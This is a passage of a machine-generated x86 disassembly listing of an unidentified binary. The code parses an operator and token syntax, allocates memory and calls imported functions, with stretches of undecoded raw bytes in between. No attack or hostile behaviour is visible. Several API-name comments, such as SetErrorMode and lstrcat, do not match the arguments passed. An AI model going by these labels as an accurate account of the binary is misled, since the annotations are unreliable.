		test	eax, eax
		jz	short loc_40EA7C

loc_40EA6F:				; CODE XREF: sub_40E98E+6Bj
		test	esi, esi

loc_40EA71:				; CODE XREF: sub_40E98E:loc_40EA0Bj
		jle	short loc_40EA7C

loc_40EA73:				; CODE XREF: sub_40EA60+1Aj
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	esi
		jnz	short loc_40EA73

loc_40EA7C:				; CODE XREF: sub_40EA60+9j
					; sub_40EA60+Dj ...
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40EA60	endp

; ---------------------------------------------------------------------------

loc_40EA82:				; CODE XREF: sub_40EEDB+170p
					; .data:0040FA88p
		push	esi
		push	dword ptr [esp+8]
; ---------------------------------------------------------------------------
		db 0FFh
		db 15h,	4, 30h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E

loc_40EA8B:				; CODE XREF: sub_40E98E+96j
		add	[eax], dl

loc_40EA8D:				; CODE XREF: sub_40E98E+99j
		mov	esi, eax
		push	esi

loc_40EA90:				; CODE XREF: sub_40E98E+91j
		push	40h
		call	dword ptr ds:10003000h

loc_40EA98:				; CODE XREF: sub_40EA30+5j
		mov	ecx, [esp+1Ch+var_14]
		push	eax

loc_40EA9D:				; CODE XREF: sub_40EA30+7j
		mov	eax, esi
		call	sub_40EA60
		pop	ecx
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40E98E

; =============== S U B	R O U T	I N E =======================================



sub_40EAA7	proc near		; CODE XREF: .data:0040EBEFp
					; .data:0040EC1Ap
		push	edi
		call	sub_40E771
		mov	edi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_40EAC4
		push	10003074h

loc_40EABB:				; CODE XREF: sub_40EAA7+27j
		push	edi
		call	dword ptr ds:1000300Ch
		jmp	short loc_40EAEA
; ---------------------------------------------------------------------------

loc_40EAC4:				; CODE XREF: sub_40EAA7+Dj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EAD0
		push	1000306Ch
		jmp	short loc_40EABB
; ---------------------------------------------------------------------------

loc_40EAD0:				; CODE XREF: sub_40EAA7+20j
		cmp	eax, 1
		jnz	short loc_40EAEA
		push	dword ptr [esi+1498h]
		push	10003060h
		push	edi
		call	dword ptr ds:10003044h
		add	esp, 0Ch

loc_40EAEA:				; CODE XREF: sub_40EAA7+1Bj
					; sub_40EAA7+2Cj
		mov	eax, edi
		pop	edi
		retn
sub_40EAA7	endp

; ---------------------------------------------------------------------------
aLdG4@		db '‹D$',8,'£4@',0
		dw 8B10h
		dd 0A3102444h, 10004030h, 0C24448Bh, 2CA35756h,	0E8100040h
		dd 3CBh, 86F6F08Bh, 810h, 561C7404h, 0FFFF0FE8h, 80E859FFh
		dd 8BFFFFFFh, 0FCA0E8F8h, 0FF50FFFFh, 300815h, 8330EB10h
		dd 7400047Eh, 0FF65E823h, 0F88BFFFFh, 0FFFC85E8h, 83D8BFFh
		dd 50100030h, 86F6D7FFh, 810h, 560C7502h, 7EBD7FFh, 0FECAE856h
		dd 5F59FFFFh
		db 5Eh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+0Ch]
		mov	ds:10004034h, eax
		mov	eax, [ebp+14h]
		mov	ds:10004030h, eax
		mov	eax, [ebp+10h]
		push	ebx
		push	edi
		mov	ds:1000402Ch, eax
		call	sub_40EEDB
		mov	ebx, eax
		cmp	dword ptr [ebx+4], 1
		jz	short loc_40EB9E
		mov	edi, ebx
		call	sub_40F543

loc_40EB9E:				; CODE XREF: .data:0040EB95j
		push	ebx
		call	sub_40F583
		pop	ecx
		mov	ecx, [ebx+4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_40EBDC
		mov	eax, [ebx]
		sub	eax, 0
		jz	short loc_40EBCE
		dec	eax
		jz	short loc_40EBBD
		dec	eax
		jz	short loc_40EBC5
		dec	eax
		jnz	short loc_40EBDC

loc_40EBBD:				; CODE XREF: .data:0040EBB5j
		push	ebx
		call	sub_40F8AB
		jmp	short loc_40EBD9
; ---------------------------------------------------------------------------

loc_40EBC5:				; CODE XREF: .data:0040EBB8j
		mov	edi, ebx
		call	sub_40FBF8
		jmp	short loc_40EBDC
; ---------------------------------------------------------------------------

loc_40EBCE:				; CODE XREF: .data:0040EBB2j
		cmp	ecx, 1
		jnz	short loc_40EBDC
		push	ebx
		call	sub_40FB36

loc_40EBD9:				; CODE XREF: .data:0040EBC3j
		pop	ecx
		mov	ebx, eax

loc_40EBDC:				; CODE XREF: .data:0040EBABj
					; .data:0040EBBBj ...
		test	byte ptr [ebx+810h], 4
		push	esi
		jz	short loc_40EC04
		push	ebx
		call	sub_40F73C
		pop	ecx
		mov	esi, ebx
		call	sub_40EAA7
		mov	edi, eax
		call	near ptr loc_40E7CC+2
		push	eax
		call	dword ptr ds:10003008h
		jmp	short loc_40EC49
; ---------------------------------------------------------------------------

loc_40EC04:				; CODE XREF: .data:0040EBE4j
		cmp	dword ptr [ebx+4], 0
		jz	short loc_40EC42
		push	8
		pop	ecx
		lea	esi, [ebx+818h]
		lea	edi, [ebp-20h]
		rep movsd
		mov	esi, ebx
		call	sub_40EAA7
		lea	edi, [ebx+818h]
		push	ebx
		mov	[ebx+820h], eax
		mov	dword ptr [edi], 3
		call	sub_40F73C
		pop	ecx
		push	8
		pop	ecx
		lea	esi, [ebp-20h]
		rep movsd
		jmp	short loc_40EC49
; ---------------------------------------------------------------------------

loc_40EC42:				; CODE XREF: .data:0040EC08j
		push	ebx
		call	sub_40F73C
		pop	ecx

loc_40EC49:				; CODE XREF: .data:0040EC02j
					; .data:0040EC40j
		cmp	dword ptr [ebx+4], 1
		pop	esi
		jz	short loc_40EC8B
		mov	ecx, ebx
		call	sub_40F706
		test	byte ptr [ebx+810h], 40h
		jz	short loc_40EC76
		cmp	dword ptr [ebx], 1
		jnz	short loc_40EC76
		mov	eax, [ebx+808h]
		test	eax, eax
		jz	short loc_40EC76
		push	eax
		call	dword ptr ds:10003014h

loc_40EC76:				; CODE XREF: .data:0040EC5Ej
					; .data:0040EC63j ...
		test	byte ptr [ebx+810h], 20h
		jz	short loc_40EC8B
		push	dword ptr ds:10004018h
		call	sub_40EA30
		pop	ecx

loc_40EC8B:				; CODE XREF: .data:0040EC4Ej
					; .data:0040EC7Dj
		test	byte ptr [ebx+810h], 2
		jnz	short loc_40EC9B
		push	ebx
		call	dword ptr ds:10003008h

loc_40EC9B:				; CODE XREF: .data:0040EC92j
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		mov	eax, [ebp+0Ch]
		push	ebx
		push	esi
		mov	ds:10004034h, eax
		mov	eax, [ebp+14h]
		xor	esi, esi
		push	edi
		mov	ds:10004030h, eax
		mov	[ebp-4], esi
		call	near ptr loc_40E790+1
		mov	[ebp-0Ch], eax
		call	near ptr loc_40E790+1
		push	dword ptr [ebp-0Ch]
		mov	[ebp+14h], eax
		call	sub_40E863
		pop	ecx
		mov	ecx, [ebp+14h]
		mov	edi, eax
		mov	al, [ecx]
		cmp	al, 7Eh
		mov	ebx, edx
		jz	short loc_40ED0A
		cmp	al, 21h
		jz	short loc_40ED0A
		call	near ptr loc_40E790+1
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_40E863
		pop	ecx
		push	dword ptr [ebp+0Ch]
		mov	esi, eax
		mov	[ebp-4], edx
		call	dword ptr ds:10003008h
		mov	ecx, [ebp+14h]

loc_40ED0A:				; CODE XREF: .data:0040ECE4j
					; .data:0040ECE8j
		mov	al, [ecx]
		mov	[ebp+0Fh], al
		movsx	eax, al
		cmp	eax, 2Fh
		jg	loc_40EDBC
		jz	short loc_40ED93
		sub	eax, 21h
		jz	short loc_40ED84
		sub	eax, 4
		jz	short loc_40ED93
		dec	eax
		jz	short loc_40ED5E
		sub	eax, 4
		jz	short loc_40ED4E
		dec	eax
		jz	short loc_40ED44
		dec	eax
		dec	eax
		jnz	loc_40EE4D
		sub	edi, esi
		sbb	ebx, [ebp-4]
		jmp	loc_40EE4D
; ---------------------------------------------------------------------------

loc_40ED44:				; CODE XREF: .data:0040ED30j
		add	edi, esi
		adc	ebx, [ebp-4]
		jmp	loc_40EE4D
; ---------------------------------------------------------------------------

loc_40ED4E:				; CODE XREF: .data:0040ED2Dj
		push	dword ptr [ebp-4]
		push	esi
		push	ebx
		push	edi
		call	sub_40FE98
		jmp	loc_40EE49
; ---------------------------------------------------------------------------

loc_40ED5E:				; CODE XREF: .data:0040ED28j
		cmp	byte ptr [ecx+1], 26h
		jnz	short loc_40ED7A
		or	edi, ebx
		jz	loc_40EE46
		or	esi, [ebp-4]
		jz	loc_40EE46
		jmp	loc_40EE23
; ---------------------------------------------------------------------------

loc_40ED7A:				; CODE XREF: .data:0040ED62j
		and	edi, esi
		and	ebx, [ebp-4]
		jmp	loc_40EE4D
; ---------------------------------------------------------------------------

loc_40ED84:				; CODE XREF: .data:0040ED20j
		xor	eax, eax
		or	edi, ebx
		jnz	loc_40EE48
		jmp	loc_40EE25
; ---------------------------------------------------------------------------

loc_40ED93:				; CODE XREF: .data:0040ED1Bj
					; .data:0040ED25j
		mov	eax, esi
		or	eax, [ebp-4]
		jnz	short loc_40EDA0
		xor	eax, eax
		xor	edx, edx
		jmp	short loc_40EDAD
; ---------------------------------------------------------------------------

loc_40EDA0:				; CODE XREF: .data:0040ED98j
		push	dword ptr [ebp-4]
		push	esi
		push	ebx
		push	edi
		call	sub_40FDB8
		mov	edi, ecx

loc_40EDAD:				; CODE XREF: .data:0040ED9Ej
		cmp	byte ptr [ebp+0Fh], 2Fh
		jz	loc_40EE49
		jmp	loc_40EE4D
; ---------------------------------------------------------------------------

loc_40EDBC:				; CODE XREF: .data:0040ED15j
		sub	eax, 3Ch
		jz	short loc_40EE28
		dec	eax
		jz	short loc_40EE1A
		dec	eax
		jz	short loc_40EDFA
		sub	eax, 20h
		jz	short loc_40EDF3
		sub	eax, 1Eh
		jz	short loc_40EDDB
		dec	eax
		dec	eax
		jnz	short loc_40EE4D
		not	edi
		not	ebx
		jmp	short loc_40EE4D
; ---------------------------------------------------------------------------

loc_40EDDB:				; CODE XREF: .data:0040EDCFj
		cmp	byte ptr [ecx+1], 7Ch
		jnz	short loc_40EDEC
		or	edi, ebx
		jnz	short loc_40EE23
		or	esi, [ebp-4]
		jnz	short loc_40EE23
		jmp	short loc_40EE46
; ---------------------------------------------------------------------------

loc_40EDEC:				; CODE XREF: .data:0040EDDFj
		or	edi, esi
		or	ebx, [ebp-4]
		jmp	short loc_40EE4D
; ---------------------------------------------------------------------------

loc_40EDF3:				; CODE XREF: .data:0040EDCAj
		xor	edi, esi
		xor	ebx, [ebp-4]
		jmp	short loc_40EE4D
; ---------------------------------------------------------------------------

loc_40EDFA:				; CODE XREF: .data:0040EDC5j
		cmp	byte ptr [ecx+1], 3Eh
		jnz	short loc_40EE0D
		mov	eax, edi
		mov	edx, ebx
		mov	ecx, esi
		call	sub_40FEF8
		jmp	short loc_40EE49
; ---------------------------------------------------------------------------

loc_40EE0D:				; CODE XREF: .data:0040EDFEj
		cmp	ebx, [ebp-4]
		jl	short loc_40EE46
		jg	short loc_40EE23
		cmp	edi, esi
		jbe	short loc_40EE46
		jmp	short loc_40EE23
; ---------------------------------------------------------------------------

loc_40EE1A:				; CODE XREF: .data:0040EDC2j
		cmp	edi, esi
		jnz	short loc_40EE46
		cmp	ebx, [ebp-4]
		jnz	short loc_40EE46

loc_40EE23:				; CODE XREF: .data:0040ED75j
					; .data:0040EDE3j ...
		xor	eax, eax

loc_40EE25:				; CODE XREF: .data:0040ED8Ej
		inc	eax
		jmp	short loc_40EE48
; ---------------------------------------------------------------------------

loc_40EE28:				; CODE XREF: .data:0040EDBFj
		cmp	byte ptr [ecx+1], 3Ch
		jnz	short loc_40EE3B
		mov	eax, edi
		mov	edx, ebx
		mov	ecx, esi
		call	sub_40FED8
		jmp	short loc_40EE49
; ---------------------------------------------------------------------------

loc_40EE3B:				; CODE XREF: .data:0040EE2Cj
		cmp	ebx, [ebp-4]
		jg	short loc_40EE46
		jl	short loc_40EE23
		cmp	edi, esi
		jb	short loc_40EE23

loc_40EE46:				; CODE XREF: .data:0040ED66j
					; .data:0040ED6Fj ...
		xor	eax, eax

loc_40EE48:				; CODE XREF: .data:0040ED88j
					; .data:0040EE26j
		cdq

loc_40EE49:				; CODE XREF: .data:0040ED59j
					; .data:0040EDB1j ...
		mov	edi, eax
		mov	ebx, edx

loc_40EE4D:				; CODE XREF: .data:0040ED34j
					; .data:0040ED3Fj ...
		push	ebx
		push	edi
		lea	eax, [ebp-8Ch]
		call	sub_40E98E
		pop	ecx
		pop	ecx
		lea	edi, [ebp-8Ch]
		call	near ptr loc_40E7CC+2
		push	dword ptr [ebp-0Ch]
		mov	esi, ds:10003008h
		call	esi	; SetErrorMode
		push	dword ptr [ebp+14h]
		call	esi	; SetErrorMode
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		inc	dword ptr [eax]
		mov	edx, [eax]
		push	esi
		lea	esi, [ebp-80h]

loc_40EE8D:				; CODE XREF: .data:0040EEC7j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_40EE99
		cmp	cl, 66h
		jle	short loc_40EEC1

loc_40EE99:				; CODE XREF: .data:0040EE92j
		cmp	cl, 41h
		jl	short loc_40EEA3
		cmp	cl, 46h
		jle	short loc_40EEC1

loc_40EEA3:				; CODE XREF: .data:0040EE9Cj
		cmp	cl, 30h
		jl	short loc_40EEAD
		cmp	cl, 39h
		jle	short loc_40EEC1

loc_40EEAD:				; CODE XREF: .data:0040EEA6j
		cmp	cl, 58h
		jz	short loc_40EEC1
		cmp	cl, 2Dh
		jz	short loc_40EEC1
		cmp	cl, 78h
		jz	short loc_40EEC1
		cmp	cl, 7Ch
		jnz	short loc_40EEC9

loc_40EEC1:				; CODE XREF: .data:0040EE97j
					; .data:0040EEA1j ...
		mov	[esi], cl
		inc	esi
		inc	edx
		mov	[eax], edx
		jmp	short loc_40EE8D
; ---------------------------------------------------------------------------

loc_40EEC9:				; CODE XREF: .data:0040EEBFj
		dec	dword ptr [eax]
		lea	eax, [ebp-80h]
		push	eax
		mov	byte ptr [esi],	0
		call	sub_40E863
		pop	ecx
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EEDB	proc near		; CODE XREF: .data:0040EB8Ap

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		xor	esi, esi
		call	sub_40E771
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		call	sub_40E771
		mov	[ebp+var_24], eax
		call	near ptr loc_40E790+1
		mov	[ebp+var_2C], eax
		mov	[ebp+var_8], eax

loc_40EF12:				; CODE XREF: sub_40EEDB+21Cj
		mov	eax, [ebp+var_1C]
		mov	edi, [ebp+var_8]
		mov	dl, [edi]
		mov	[ebp+var_28], eax
		movsx	eax, dl
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_40EF79
		sub	ecx, 23h
		jz	short loc_40EF71
		sub	ecx, 5
		jz	short loc_40EF5B
		dec	ecx
		jz	short loc_40EF4C
		sub	ecx, 16h
		jnz	loc_40F073
		mov	[ebp+var_1C], 3
		mov	[ebp+var_4], 1
		jmp	short loc_40EF7D
; ---------------------------------------------------------------------------

loc_40EF4C:				; CODE XREF: sub_40EEDB+56j
		mov	[ebp+var_1C], 2

loc_40EF53:				; CODE XREF: sub_40EEDB+94j
		mov	[ebp+var_4], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_40EF7D
; ---------------------------------------------------------------------------

loc_40EF5B:				; CODE XREF: sub_40EEDB+53j
		xor	eax, eax
		cmp	[ebp+var_20], 3
		mov	[ebp+var_1C], 1
		setz	al
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EF53
; ---------------------------------------------------------------------------

loc_40EF71:				; CODE XREF: sub_40EEDB+4Ej
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		jmp	short loc_40EF7D
; ---------------------------------------------------------------------------

loc_40EF79:				; CODE XREF: sub_40EEDB+49j
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40EF7D:				; CODE XREF: sub_40EEDB+6Fj
					; sub_40EEDB+7Ej ...
		mov	eax, [ebp+var_28]
		sub	eax, ebx
		jz	short loc_40EF99
		dec	eax
		jnz	loc_40F065
		mov	eax, [ebp+var_C]
		mov	[esi+814h], eax
		jmp	loc_40F065
; ---------------------------------------------------------------------------

loc_40EF99:				; CODE XREF: sub_40EEDB+A7j
		cmp	esi, ebx
		mov	eax, [ebp+var_18]
		mov	byte ptr [eax],	0
		jnz	short loc_40EFBE
		push	14A4h
		push	40h
		call	dword ptr ds:10003000h
		mov	esi, eax
		mov	[esi+810h], ebx
		mov	[esi+814h], ebx

loc_40EFBE:				; CODE XREF: sub_40EEDB+C6j
		mov	ecx, [ebp+var_20]
		lea	eax, [esi+8]
		lea	edi, [esi+408h]
		mov	[esi], ecx
		sub	ecx, ebx
		mov	byte ptr [eax],	0
		mov	byte ptr [edi],	0
		mov	[esi+808h], ebx
		mov	[esi+80Ch], ebx
		mov	[esi+4], ebx
		jz	short loc_40F004
		dec	ecx
		jz	short loc_40EFEE
		dec	ecx
		jz	short loc_40EFF8
		dec	ecx
		jnz	short loc_40F065

loc_40EFEE:				; CODE XREF: sub_40EEDB+10Bj
		push	[ebp+var_24]
		push	eax
		call	dword ptr ds:1000300Ch

loc_40EFF8:				; CODE XREF: sub_40EEDB+10Ej
		push	[ebp+var_14]
		push	edi
		call	dword ptr ds:1000300Ch
		jmp	short loc_40F065
; ---------------------------------------------------------------------------

loc_40F004:				; CODE XREF: sub_40EEDB+108j
		mov	eax, [ebp+var_14]
		cmp	[ebp+var_18], eax
		jz	short loc_40F065
		push	esi
		xor	edi, edi
		call	dword ptr ds:10003008h
		push	[ebp+var_14]
		call	sub_40E863
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40F065

loc_40F024:				; CODE XREF: sub_40EEDB+159j
		mov	eax, [esi+14A0h]
		cmp	eax, ebx
		jz	short loc_40F036
		mov	edi, esi
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40F024

loc_40F036:				; CODE XREF: sub_40EEDB+151j
		cmp	edi, ebx
		jz	short loc_40F040
		mov	[edi+14A0h], ebx

loc_40F040:				; CODE XREF: sub_40EEDB+15Dj
		mov	eax, [esi+810h]
		test	al, 8
		jz	short loc_40F05C
		push	esi
		call	loc_40EA82
		mov	esi, eax
		and	dword ptr [esi+810h], 0FFFFFFF5h
		pop	ecx
		jmp	short loc_40F065
; ---------------------------------------------------------------------------

loc_40F05C:				; CODE XREF: sub_40EEDB+16Dj
		or	eax, 2
		mov	[esi+810h], eax

loc_40F065:				; CODE XREF: sub_40EEDB+AAj
					; sub_40EEDB+B9j ...
		mov	eax, [ebp+var_14]
		inc	[ebp+var_8]
		mov	[ebp+var_18], eax
		jmp	loc_40F0F3
; ---------------------------------------------------------------------------

loc_40F073:				; CODE XREF: sub_40EEDB+5Bj
		mov	ecx, [ebp+var_1C]
		sub	ecx, ebx
		jz	loc_40F373
		dec	ecx
		jz	loc_40F1A3
		dec	ecx
		jz	loc_40F1A0
		dec	ecx
		jnz	loc_40F3E2
		sub	eax, 21h
		jz	short loc_40F0E1
		sub	eax, 42h
		jz	short loc_40F0DC
		dec	eax
		dec	eax
		jz	short loc_40F0C2
		sub	eax, 9
		jz	short loc_40F0BE
		sub	eax, 4
		jz	short loc_40F0BA
		dec	eax
		jz	short loc_40F0B6
		dec	eax
		dec	eax
		jnz	short loc_40F0E4
		push	40h
		jmp	short loc_40F0C4
; ---------------------------------------------------------------------------

loc_40F0B6:				; CODE XREF: sub_40EEDB+1D1j
		push	10h
		jmp	short loc_40F0C4
; ---------------------------------------------------------------------------

loc_40F0BA:				; CODE XREF: sub_40EEDB+1CEj
		push	4
		jmp	short loc_40F0C4
; ---------------------------------------------------------------------------

loc_40F0BE:				; CODE XREF: sub_40EEDB+1C9j
		push	8
		jmp	short loc_40F0C4
; ---------------------------------------------------------------------------

loc_40F0C2:				; CODE XREF: sub_40EEDB+1C4j
		push	20h

loc_40F0C4:				; CODE XREF: sub_40EEDB+1D9j
					; sub_40EEDB+1DDj ...
		pop	eax

loc_40F0C5:				; CODE XREF: sub_40EEDB+204j
		xor	ecx, ecx
		inc	ecx
		cmp	[ebp+var_4], ecx
		jnz	loc_40F190
		or	[esi+810h], eax
		jmp	loc_40F198
; ---------------------------------------------------------------------------

loc_40F0DC:				; CODE XREF: sub_40EEDB+1C0j
		xor	eax, eax
		inc	eax
		jmp	short loc_40F0C5
; ---------------------------------------------------------------------------

loc_40F0E1:				; CODE XREF: sub_40EEDB+1BBj
		neg	[ebp+var_4]

loc_40F0E4:				; CODE XREF: sub_40EEDB+1D5j
					; sub_40EEDB+2C0j ...
		mov	eax, [ebp+var_14]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_18], eax
		xor	ebx, ebx

loc_40F0EF:				; CODE XREF: sub_40EEDB+50Fj
		inc	edi
		mov	[ebp+var_8], edi

loc_40F0F3:				; CODE XREF: sub_40EEDB+193j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	loc_40EF12
		push	[ebp+var_2C]
		mov	edi, ds:10003008h
		call	edi	; lstrcat
		push	[ebp+var_14]
		call	edi	; lstrcat
		push	[ebp+var_24]
		call	edi	; lstrcat
		cmp	[esi+80Ch], ebx
		jnz	loc_40F48A
		mov	eax, [esi]
		dec	eax
		jz	loc_40F40D
		dec	eax
		jz	loc_40F3EF
		dec	eax
		jnz	loc_40F48A
		lea	ebx, [esi+8]
		push	ebx
		call	sub_40E863
		mov	edi, eax
		test	edi, edi
		pop	ecx
		mov	[esi+808h], edi
		jz	loc_40F486
		and	dword ptr [esi+850h], 0
		push	ebx
		call	sub_40E780
		and	dword ptr [esi+83Ch], 0
		mov	[esi+84Ch], eax
		xor	eax, eax
		inc	eax
		mov	[esi+848h], eax
		mov	[esi+838h], eax
		lea	eax, [esi+408h]
		push	eax
		call	sub_40E863
		pop	ecx
		pop	ecx
		mov	ecx, [edi]
		mov	eax, [ecx+eax*4]
		jmp	loc_40F405
; ---------------------------------------------------------------------------

loc_40F190:				; CODE XREF: sub_40EEDB+1F0j
		not	eax
		and	[esi+810h], eax

loc_40F198:				; CODE XREF: sub_40EEDB+1FCj
		mov	[ebp+var_4], ecx
		jmp	loc_40F0E4
; ---------------------------------------------------------------------------

loc_40F1A0:				; CODE XREF: sub_40EEDB+1ABj
		mov	[ebp+var_C], ebx

loc_40F1A3:				; CODE XREF: sub_40EEDB+1A4j
		add	eax, 0FFFFFFDEh
		xor	ebx, ebx
		cmp	eax, 55h
		ja	loc_40F0E4
		movzx	eax, byte ptr [eax+10001F65h]
		jmp	dword ptr ds:10001F09h[eax*4]
; ---------------------------------------------------------------------------
		db 8Bh
		dd 81486h, 0F4453B00h, 4589037Eh, 0FC6583F4h, 0F0658300h
		dd 0FF0AE900h, 6583FFFFh, 658300FCh, 45FF00F0h,	0FEFAE9F4h
		dd 45C7FFFFh, 1FCh, 0FEEEE900h,	4D83FFFFh, 0E5E9FFFCh
		dd 33FFFFFEh, 0F44D8BC0h, 8305E1C1h, 8DFFFC7Dh,	8789313Ch
		dd 818h, 48B0B74h, 307885h, 7FC08510h, 40C03303h, 1FC7D83h
		dd 8288789h, 0C750000h,	0E8F8458Dh, 0FFFFFC44h,	0FC458940h
		dd 89FC458Bh, 81C87h, 0F4458B00h, 0C141488Dh, 0C03305E1h
		dd 89310489h, 82C87h, 30878900h, 85000008h, 7D840FDBh
		dd 83FFFFFEh, 7500F07Dh, 0F4458B22h, 8D05E0C1h,	82C30BCh
		dd 78B0000h, 7EFFF883h,	19F88305h, 0FF50077Eh, 300815h
		dd 831F8910h, 7501F07Dh, 0F4458B0Dh, 8905E0C1h,	830309Ch
		dd 45FF0000h, 0FE3AE9F0h, 0C033FFFFh, 0FF4FE940h, 26AFFFFh
		dd 36A0EEBh, 56A0AEBh, 46A06EBh, 66A02EBh, 0FF37E958h
		dd 458DFFFFh, 0FBAAE8F8h, 0D88BFFFFh, 0BFB8343h, 0C383857Dh
		dd 8D80EB0Ah, 95E8F845h, 8BFFFFFBh, 70E943D8h, 83FFFFFFh
		dd 0F00F07Dh, 0FFFDEB85h, 0F84DFFFFh, 0FFF470E8h, 8DD88BFFh
		dd 71E8F845h, 52FFFFFBh, 0E8C38B50h, 0FFFFF67Ah, 44E95959h
		dd 8BFFFFFFh, 7D8BEC45h, 0F8A47F8h, 7D89CA3Ah, 380575F8h
		dd 10750157h, 0C74C984h, 175CA3Ah, 880F8A47h, 0E1EB4008h
		dd 0C6EC75FFh, 35E80000h, 59FFFFF4h, 0CE9D88Bh,	83FFFFFFh
		dd 0CE9FFCBh, 6AFFFFFFh, 6A0EEB15h, 6A0AEB16h, 6A06EB17h
		dd 6A02EB18h, 0F4E95B19h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_40F373:				; CODE XREF: sub_40EEDB+19Dj
		cmp	dl, 2Ah
		jz	short loc_40F3D6
		cmp	dl, 2Dh
		jz	short loc_40F387
		cmp	dl, 3Ah
		jnz	short loc_40F3E2
		cmp	dl, 2Dh
		jnz	short loc_40F398

loc_40F387:				; CODE XREF: sub_40EEDB+4A0j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	3Eh
		jnz	short loc_40F398
		mov	[ebp+var_20], 3
		jmp	short loc_40F3AC
; ---------------------------------------------------------------------------

loc_40F398:				; CODE XREF: sub_40EEDB+4AAj
					; sub_40EEDB+4B2j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_40F3E2
		cmp	dl, 2Dh
		jz	short loc_40F3E2
		mov	[ebp+var_20], 1

loc_40F3AC:				; CODE XREF: sub_40EEDB+4BBj
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jbe	short loc_40F3CB
		push	[ebp+var_14]
		mov	byte ptr [eax],	0
		push	[ebp+var_24]
		call	dword ptr ds:1000300Ch
		jmp	loc_40F0E4
; ---------------------------------------------------------------------------

loc_40F3CB:				; CODE XREF: sub_40EEDB+4DAj
		mov	eax, [ebp+var_24]
		mov	byte ptr [eax],	0
		jmp	loc_40F0E4
; ---------------------------------------------------------------------------

loc_40F3D6:				; CODE XREF: sub_40EEDB+49Bj
		mov	[ebp+var_20], 2
		jmp	loc_40F0E4
; ---------------------------------------------------------------------------

loc_40F3E2:				; CODE XREF: sub_40EEDB+1B2j
					; sub_40EEDB+4A5j ...
		mov	eax, [ebp+var_18]
		inc	[ebp+var_18]
		mov	[eax], dl
		jmp	loc_40F0EF
; ---------------------------------------------------------------------------

loc_40F3EF:				; CODE XREF: sub_40EEDB+24Dj
		lea	eax, [esi+408h]
		cmp	byte ptr [eax],	0
		jz	loc_40F48A
		push	eax
		call	sub_40E863
		pop	ecx

loc_40F405:				; CODE XREF: sub_40EEDB+2B0j
		mov	[esi+80Ch], eax
		jmp	short loc_40F48A
; ---------------------------------------------------------------------------

loc_40F40D:				; CODE XREF: sub_40EEDB+246j
		lea	edi, [esi+8]
		cmp	byte ptr [edi],	0
		jnz	short loc_40F426
		lea	eax, [esi+408h]
		push	eax
		call	sub_40E863
		pop	ecx
		cmp	eax, ebx
		jmp	short loc_40F47E
; ---------------------------------------------------------------------------

loc_40F426:				; CODE XREF: sub_40EEDB+538j
		push	edi
		call	dword ptr ds:10003018h
		cmp	eax, ebx
		mov	[esi+808h], eax
		jnz	short loc_40F448
		push	edi
		call	dword ptr ds:1000301Ch
		cmp	eax, ebx
		mov	[esi+808h], eax
		jz	short loc_40F486

loc_40F448:				; CODE XREF: sub_40EEDB+55Aj
		mov	edi, ds:10003020h
		lea	ebx, [esi+408h]
		push	ebx
		push	dword ptr [esi+808h]
		call	edi	; lstrcat
		test	eax, eax
		mov	[esi+80Ch], eax
		jnz	short loc_40F48A
		push	1000305Ch
		push	ebx
		call	dword ptr ds:10003024h
		push	ebx
		push	dword ptr [esi+808h]
		call	edi	; lstrcat
		test	eax, eax

loc_40F47E:				; CODE XREF: sub_40EEDB+549j
		mov	[esi+80Ch], eax
		jnz	short loc_40F48A

loc_40F486:				; CODE XREF: sub_40EEDB+26Ej
					; sub_40EEDB+56Bj
		or	dword ptr [esi+4], 0FFFFFFFFh

loc_40F48A:				; CODE XREF: sub_40EEDB+23Dj
					; sub_40EEDB+254j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EEDB	endp

; ---------------------------------------------------------------------------
		db 93h,	1Dh, 0
		dd 1C6210h, 1C6E10h, 1C5210h, 1D6710h, 1D1A10h,	1DE310h
		dd 1DD310h, 1DD710h, 1DDF10h, 1D3210h, 1D2210h,	1D3A10h
		dd 1D2A10h, 1DDB10h, 1D4210h, 1DCB10h, 1D2E10h,	1C7710h
